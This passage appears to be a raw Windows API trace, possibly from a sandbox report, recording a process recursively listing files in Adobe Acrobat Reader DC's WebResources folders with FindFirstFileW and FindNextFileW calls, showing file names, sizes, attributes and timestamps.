lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef.css", cAlternateFileName="")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x22514, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-high-contrast.css", cAlternateFileName="MAIN-H~1.CSS")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x28f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x28f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0245.464] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0245.465] GetProcessHeap () returned 0xc10000 [0245.465] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0245.465] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0245.465] GetProcessHeap () returned 0xc10000 [0245.465] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0245.465] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0245.468] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.469] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner.gif", cAlternateFileName="A12_SP~4.GIF")) returned 1 [0245.469] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_2x.gif", cAlternateFileName="A12_SP~3.GIF")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int.gif", cAlternateFileName="A12_SP~1.GIF")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4038, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int_2x.gif", cAlternateFileName="A12_SP~2.GIF")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner.gif", cAlternateFileName="ADOBE_~1.GIF")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner_mini.gif", cAlternateFileName="ADOBE_~2.GIF")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-114x114-precomposed.png", cAlternateFileName="APPLE-~2.PNG")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x235b, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-144x144-precomposed.png", cAlternateFileName="APPLE-~1.PNG")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-57x57-precomposed.png", cAlternateFileName="APPLE-~3.PNG")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-72x72-precomposed.png", cAlternateFileName="APPLE-~4.PNG")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud.png", cAlternateFileName="")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3181, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud_retina.png", cAlternateFileName="CCLOUD~1.PNG")) returned 1 [0245.470] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="close_x.png", cAlternateFileName="")) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7394, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x104ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small.png", cAlternateFileName="DD_ARR~1.PNG")) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x209c, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon.ico", cAlternateFileName="")) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_types", cAlternateFileName="FILE_T~1")) returned 1 [0245.471] GetProcessHeap () returned 0xc10000 [0245.471] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0245.471] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0245.474] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.474] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6358, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1 [0245.474] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x74ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1 [0245.474] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1 [0245.474] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0245.474] GetProcessHeap () returned 0xc10000 [0245.474] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0245.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0245.480] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.480] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2220, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_hiContrast_bow.png", cAlternateFileName="AIC_FI~4.PNG")) returned 1 [0245.480] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x294b, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_hiContrast_wob.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1 [0245.480] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_highcontrast.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1 [0245.480] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3195, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_bow.png", cAlternateFileName="AI6010~1.PNG")) returned 1 [0245.480] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3190, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_wob.png", cAlternateFileName="AIC_FI~3.PNG")) returned 1 [0245.480] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3190, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb_highContrast_wob.png", cAlternateFileName="AIC_FI~3.PNG")) returned 0 [0245.480] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0245.481] GetProcessHeap () returned 0xc10000 [0245.481] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0245.481] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0245.481] GetProcessHeap () returned 0xc10000 [0245.481] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0245.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0245.483] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.483] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, 